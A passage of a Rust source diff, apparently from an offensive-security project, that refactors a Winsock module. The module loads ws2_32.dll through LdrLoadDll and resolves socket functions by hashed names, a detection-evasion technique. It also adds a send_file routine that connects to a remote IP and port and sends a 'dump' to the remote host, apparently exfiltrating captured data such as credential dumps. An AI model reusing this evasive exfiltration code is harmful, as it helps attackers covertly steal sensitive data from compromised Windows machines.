pub freeaddrinfo: FreeAddrInfoFunc,
|
||||
pub ioctlsocket: Ioctlsocket,
|
||||
pub select: Select,
|
||||
pub wsa_get_last_error: WSAGetLastError,
|
||||
}
|
||||
|
||||
impl Winsock {
|
||||
// Function to initialize the Winsock structure with null values
|
||||
pub fn new() -> Self {
|
||||
Winsock {
|
||||
wsa_startup: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
|
||||
@@ -112,6 +135,8 @@ impl Winsock {
|
||||
htons: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
|
||||
getaddrinfo: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
|
||||
freeaddrinfo: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
|
||||
ioctlsocket: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
|
||||
select: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
|
||||
wsa_get_last_error: unsafe {
|
||||
core::mem::transmute(core::ptr::null::<core::ffi::c_void>())
|
||||
},
|
||||
@@ -119,41 +144,31 @@ impl Winsock {
|
||||
}
|
||||
}
|
||||
|
||||
// Global variable to store Winsock functions
|
||||
static mut WINSOCK_FUNCS: Option<Winsock> = None;
|
||||
// Atomic variable to track if Winsock functions have been initialized
|
||||
static INIT_WINSOCKS: AtomicBool = AtomicBool::new(false);
|
||||
|
||||
/// Initializes Winsock functions.
|
||||
///
|
||||
/// This function dynamically loads the Winsock functions from the "ws2_32.dll" library.
|
||||
/// It ensures that the functions are loaded only once using atomic operations.
|
||||
/// The function does not return any values.
|
||||
pub fn init_winsock_funcs() {
|
||||
unsafe {
|
||||
if !INIT_WINSOCKS.load(Ordering::Acquire) {
|
||||
// Constants representing hash values of Winsock function names
|
||||
pub const WSA_STARTUP_DBJ2: usize = 0x142e89c3;
|
||||
pub const WSA_CLEANUP_DBJ2: usize = 0x32206eb8;
|
||||
pub const SOCKET_DBJ2: usize = 0xcf36c66e;
|
||||
pub const CONNECT_DBJ2: usize = 0xe73478ef;
|
||||
pub const SEND_DBJ2: usize = 0x7c8bc2cf;
|
||||
pub const RECV_DBJ2: usize = 0x7c8b3515;
|
||||
pub const CLOSESOCKET_DBJ2: usize = 0x185953a4;
|
||||
pub const INET_ADDR_DBJ2: usize = 0xafe73c2f;
|
||||
pub const HTONS_DBJ2: usize = 0xd454eb1;
|
||||
pub const GETADDRINFO_DBJ2: usize = 0x4b91706c;
|
||||
pub const FREEADDRINFO_DBJ2: usize = 0x307204e;
|
||||
pub const WSAGETLASTERROR_H: usize = 0x9c1d912e;
|
||||
pub const WSA_STARTUP_DBJ2: usize = 0x142e89c3;
|
||||
pub const WSA_CLEANUP_DBJ2: usize = 0x32206eb8;
|
||||
pub const SOCKET_DBJ2: usize = 0xcf36c66e;
|
||||
pub const CONNECT_DBJ2: usize = 0xe73478ef;
|
||||
pub const SEND_DBJ2: usize = 0x7c8bc2cf;
|
||||
pub const RECV_DBJ2: usize = 0x7c8b3515;
|
||||
pub const CLOSESOCKET_DBJ2: usize = 0x185953a4;
|
||||
pub const INET_ADDR_DBJ2: usize = 0xafe73c2f;
|
||||
pub const HTONS_DBJ2: usize = 0xd454eb1;
|
||||
pub const GETADDRINFO_DBJ2: usize = 0x4b91706c;
|
||||
pub const FREEADDRINFO_DBJ2: usize = 0x307204e;
|
||||
pub const IOCTLSOCKET_H: usize = 0xd5e978a9;
|
||||
pub const SELECT_H: usize = 0xce86a705;
|
||||
pub const WSAGETLASTERROR_H: usize = 0x9c1d912e;
|
||||
|
||||
let dll_name = "ws2_32.dll";
|
||||
let mut ws2_win32_dll_unicode = UnicodeString::new();
|
||||
let utf16_string: Vec<u16> = dll_name.encode_utf16().chain(Some(0)).collect();
|
||||
ws2_win32_dll_unicode.init(utf16_string.as_ptr());
|
||||
let mut ws2_win32_dll_unicode = UnicodeString::new();
|
||||
let utf16_string: Vec<u16> = "ws2_32.dll".encode_utf16().chain(Some(0)).collect();
|
||||
ws2_win32_dll_unicode.init(utf16_string.as_ptr());
|
||||
|
||||
let mut ws2_win32_handle: *mut c_void = null_mut();
|
||||
let mut ws2_win32_handle: *mut c_void = null_mut();
|
||||
|
||||
(instance().ntdll.ldr_load_dll)(
|
||||
if let Some(instance) = get_instance() {
|
||||
(instance.ntdll.ldr_load_dll)(
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
ws2_win32_dll_unicode,
|
||||
@@ -166,7 +181,6 @@ pub fn init_winsock_funcs() {
|
||||
|
||||
let ws2_32_module = ws2_win32_handle as *mut u8;
|
||||
|
||||
// Resolve function addresses using hashed names
|
||||
let wsa_startup_addr = ldr_function(ws2_32_module, WSA_STARTUP_DBJ2);
|
||||
let wsa_cleanup_addr = ldr_function(ws2_32_module, WSA_CLEANUP_DBJ2);
|
||||
let socket_addr = ldr_function(ws2_32_module, SOCKET_DBJ2);
|
||||
@@ -178,76 +192,57 @@ pub fn init_winsock_funcs() {
|
||||
let htons_addr = ldr_function(ws2_32_module, HTONS_DBJ2);
|
||||
let getaddrinfo_addr = ldr_function(ws2_32_module, GETADDRINFO_DBJ2);
|
||||
let freeaddrinfo_addr = ldr_function(ws2_32_module, FREEADDRINFO_DBJ2);
|
||||
let ioctlsocket_addr = ldr_function(ws2_32_module, IOCTLSOCKET_H);
|
||||
let select_addr = ldr_function(ws2_32_module, SELECT_H);
|
||||
let wsa_get_last_error_addr = ldr_function(ws2_32_module, WSAGETLASTERROR_H);
|
||||
|
||||
// Initialize Winsock functions
|
||||
let mut winsock_functions = Winsock::new();
|
||||
winsock_functions.wsa_startup = transmute(wsa_startup_addr);
|
||||
winsock_functions.wsa_cleanup = transmute(wsa_cleanup_addr);
|
||||
winsock_functions.socket = transmute(socket_addr);
|
||||
winsock_functions.connect = transmute(connect_addr);
|
||||
winsock_functions.send = transmute(send_addr);
|
||||
winsock_functions.recv = transmute(recv_addr);
|
||||
winsock_functions.closesocket = transmute(closesocket_addr);
|
||||
winsock_functions.inet_addr = transmute(inet_addr_addr);
|
||||
winsock_functions.htons = transmute(htons_addr);
|
||||
winsock_functions.getaddrinfo = transmute(getaddrinfo_addr);
|
||||
winsock_functions.freeaddrinfo = transmute(freeaddrinfo_addr);
|
||||
winsock_functions.wsa_get_last_error = transmute(wsa_get_last_error_addr);
|
||||
|
||||
// Store the functions in the global variable
|
||||
WINSOCK_FUNCS = Some(winsock_functions);
|
||||
|
||||
// Mark Winsock functions as initialized
|
||||
INIT_WINSOCKS.store(true, Ordering::Release);
|
||||
instance.winsock.wsa_startup = transmute(wsa_startup_addr);
|
||||
instance.winsock.wsa_cleanup = transmute(wsa_cleanup_addr);
|
||||
instance.winsock.socket = transmute(socket_addr);
|
||||
instance.winsock.connect = transmute(connect_addr);
|
||||
instance.winsock.send = transmute(send_addr);
|
||||
instance.winsock.recv = transmute(recv_addr);
|
||||
instance.winsock.closesocket = transmute(closesocket_addr);
|
||||
instance.winsock.inet_addr = transmute(inet_addr_addr);
|
||||
instance.winsock.htons = transmute(htons_addr);
|
||||
instance.winsock.getaddrinfo = transmute(getaddrinfo_addr);
|
||||
instance.winsock.freeaddrinfo = transmute(freeaddrinfo_addr);
|
||||
instance.winsock.ioctlsocket = transmute(ioctlsocket_addr);
|
||||
instance.winsock.select = transmute(select_addr);
|
||||
instance.winsock.wsa_get_last_error = transmute(wsa_get_last_error_addr);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Gets the Winsock functions.
|
||||
///
|
||||
/// This function ensures the Winsock functions are initialized and returns a reference to them.
|
||||
/// If the functions are not already initialized, it will initialize them first.
|
||||
///
|
||||
/// # Returns
|
||||
/// * `&'static Winsock` - A reference to the initialized Winsock functions.
|
||||
pub fn get_winsock() -> &'static Winsock {
|
||||
init_winsock_funcs();
|
||||
return unsafe { WINSOCK_FUNCS.as_ref().unwrap() };
|
||||
}
|
||||
|
||||
#[allow(non_camel_case_types)]
|
||||
pub type SOCKET = usize;
|
||||
|
||||
/// Cleans up the Winsock library.
|
||||
///
|
||||
/// This function cleans up the Winsock library, releasing any resources that were allocated.
|
||||
/// This function does not return any values.
|
||||
pub fn cleanup_winsock(sock: SOCKET) {
|
||||
unsafe {
|
||||
(get_winsock().closesocket)(sock);
|
||||
(get_winsock().wsa_cleanup)();
|
||||
}
|
||||
}
|
||||
|
||||
/// Initializes the Winsock library for network operations on Windows.
|
||||
/// Returns 0 on success, or the error code on failure.
|
||||
pub fn init_winsock() -> i32 {
|
||||
unsafe {
|
||||
let mut wsa_data: WsaData = core::mem::zeroed();
|
||||
let result = (get_winsock().wsa_startup)(0x0202, &mut wsa_data);
|
||||
let result = (get_instance().unwrap().winsock.wsa_startup)(0x0202, &mut wsa_data);
|
||||
if result != 0 {
|
||||
return (get_winsock().wsa_get_last_error)();
|
||||
return (get_instance().unwrap().winsock.wsa_get_last_error)();
|
||||
}
|
||||
result
|
||||
}
|
||||
}
|
||||
|
||||
/// Cleans up the Winsock library.
|
||||
///
|
||||
/// This function cleans up the Winsock library, releasing any resources that were allocated.
|
||||
/// This function does not return any values.
|
||||
pub fn cleanup_winsock(sock: SOCKET) {
|
||||
unsafe {
|
||||
(get_instance().unwrap().winsock.closesocket)(sock);
|
||||
(get_instance().unwrap().winsock.wsa_cleanup)();
|
||||
}
|
||||
}
|
||||
|
||||
/// Creates a new TCP socket for network communication.
|
||||
/// Returns the socket descriptor (SOCKET) or an error code on failure.
|
||||
pub fn create_socket() -> SOCKET {
|
||||
unsafe {
|
||||
(get_winsock().socket)(2, 1, 6) // AF_INET, SOCK_STREAM, IPPROTO_TCP
|
||||
(get_instance().unwrap().winsock.socket)(2, 1, 6) // AF_INET, SOCK_STREAM, IPPROTO_TCP
|
||||
}
|
||||
}
|
||||
|
||||
@@ -261,10 +256,15 @@ pub fn resolve_hostname(hostname: &str) -> u32 {
|
||||
hints.ai_socktype = 1; // SOCK_STREAM
|
||||
let mut res: *mut AddrInfo = null_mut();
|
||||
|
||||
let status = (get_winsock().getaddrinfo)(hostname_cstr.as_ptr(), null(), &hints, &mut res);
|
||||
let status = (get_instance().unwrap().winsock.getaddrinfo)(
|
||||
hostname_cstr.as_ptr(),
|
||||
null(),
|
||||
&hints,
|
||||
&mut res,
|
||||
);
|
||||
|
||||
if status != 0 {
|
||||
return (get_winsock().wsa_get_last_error)() as u32;
|
||||
return (get_instance().unwrap().winsock.wsa_get_last_error)() as u32;
|
||||
}
|
||||
|
||||
let mut ip_addr: u32 = 0;
|
||||
@@ -281,7 +281,7 @@ pub fn resolve_hostname(hostname: &str) -> u32 {
|
||||
addr_info_ptr = addr_info.ai_next;
|
||||
}
|
||||
|
||||
(get_winsock().freeaddrinfo)(res);
|
||||
(get_instance().unwrap().winsock.freeaddrinfo)(res);
|
||||
ip_addr
|
||||
}
|
||||
}
|
||||
@@ -299,34 +299,45 @@ pub fn connect_socket(sock: SOCKET, addr: &str, port: u16) -> i32 {
|
||||
let resolve_addr = resolve_hostname(addr);
|
||||
let mut sockaddr_in: SockAddrIn = core::mem::zeroed();
|
||||
sockaddr_in.sin_family = 2; // AF_INET
|
||||
sockaddr_in.sin_port = (get_winsock().htons)(port);
|
||||
sockaddr_in.sin_port = (get_instance().unwrap().winsock.htons)(port);
|
||||
sockaddr_in.sin_addr.s_addr = resolve_addr;
|
||||
|
||||
let sockaddr = &sockaddr_in as *const _ as *const SockAddr;
|
||||
let result =
|
||||
(get_winsock().connect)(sock, sockaddr, core::mem::size_of::<SockAddrIn>() as i32);
|
||||
let result = (get_instance().unwrap().winsock.connect)(
|
||||
sock,
|
||||
sockaddr,
|
||||
core::mem::size_of::<SockAddrIn>() as i32,
|
||||
);
|
||||
|
||||
if result != 0 {
|
||||
return (get_winsock().wsa_get_last_error)();
|
||||
return (get_instance().unwrap().winsock.wsa_get_last_error)();
|
||||
}
|
||||
result
|
||||
}
|
||||
}
|
||||
|
||||
/// Sends a request through a socket.
|
||||
/// Sends data through a socket.
|
||||
///
|
||||
/// This function sends a request through the specified socket.
|
||||
/// It returns a `Result` indicating whether the send operation was successful or not.
|
||||
/// This function sends a specified byte array through the provided socket.
|
||||
/// It returns an `i32`, where 0 indicates success, and any other value
|
||||
/// represents the error code returned by `wsa_get_last_error`.
|
||||
///
|
||||
/// # Arguments
|
||||
/// * `sock` - The socket descriptor.
|
||||
/// * `request` - The request data to be sent.
|
||||
pub fn send_request(sock: SOCKET, request: &[u8]) -> i32 {
|
||||
/// * `data` - The data to be sent.
|
||||
///
|
||||
/// # Returns
|
||||
/// * `i32` - 0 on success, or the error code on failure.
|
||||
pub fn send_data(sock: SOCKET, data: &[u8]) -> i32 {
|
||||
unsafe {
|
||||
let result =
|
||||
(get_winsock().send)(sock, request.as_ptr() as *const i8, request.len() as i32, 0);
|
||||
let result = (get_instance().unwrap().winsock.send)(
|
||||
sock,
|
||||
data.as_ptr() as *const i8,
|
||||
data.len() as i32,
|
||||
0,
|
||||
);
|
||||
if result != 0 {
|
||||
return (get_winsock().wsa_get_last_error)();
|
||||
return (get_instance().unwrap().winsock.wsa_get_last_error)();
|
||||
}
|
||||
result
|
||||
}
|
||||
@@ -343,8 +354,9 @@ pub fn send_file(data: Vec<u8>, ip: &str, port: u16) {
|
||||
let wsa_init_result = init_winsock();
|
||||
if wsa_init_result != 0 {
|
||||
debug_println!(
|
||||
"[-] Failed to initialize Winsock with error: {}",
|
||||
wsa_init_result
|
||||
"[-] Failed to initialize Winsock with error: ",
|
||||
wsa_init_result as usize,
|
||||
false
|
||||
);
|
||||
return;
|
||||
}
|
||||
@@ -352,36 +364,35 @@ pub fn send_file(data: Vec<u8>, ip: &str, port: u16) {
|
||||
// Create a socket.
|
||||
let sock = create_socket();
|
||||
if sock == usize::MAX {
|
||||
unsafe {
|
||||
let _error = (get_winsock().wsa_get_last_error)();
|
||||
debug_println!("[-] Failed to create socket. Winsock error: {}", _error);
|
||||
return;
|
||||
}
|
||||
debug_println!(
|
||||
"[-] Failed to create socket with error: ",
|
||||
unsafe { (get_instance().unwrap().winsock.wsa_get_last_error)() as usize },
|
||||
false
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
// Connect the socket to the IP and port.
|
||||
let connect_result = connect_socket(sock, ip, port);
|
||||
if connect_result != 0 {
|
||||
debug_println!(
|
||||
"[-] Failed to connect socket to {}:{} with error: {}",
|
||||
ip,
|
||||
port,
|
||||
connect_result
|
||||
"[-] Failed to connect socket with error: ",
|
||||
connect_result as usize,
|
||||
false
|
||||
);
|
||||
cleanup_winsock(sock);
|
||||
return;
|
||||
}
|
||||
|
||||
// Send the data.
|
||||
let send_result = send_request(sock, &data);
|
||||
let send_result = send_data(sock, &data);
|
||||
|
||||
// Check if sending the file was successful.
|
||||
if send_result != 0 {
|
||||
debug_println!(
|
||||
"[-] Failed to send data to {}:{} with error: {}",
|
||||
ip,
|
||||
port,
|
||||
send_result
|
||||
"[-] Failed to send data to remote host with error code: ",
|
||||
send_result as usize,
|
||||
false
|
||||
);
|
||||
cleanup_winsock(sock);
|
||||
return;
|
||||
@@ -390,5 +401,5 @@ pub fn send_file(data: Vec<u8>, ip: &str, port: u16) {
|
||||
// Close the socket.
|
||||
cleanup_winsock(sock);
|
||||
|
||||
debug_println!("[+] Dump sent successfully to remote host");
|
||||
debug_println!("[+] Dump sent successfully to remote host!");
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user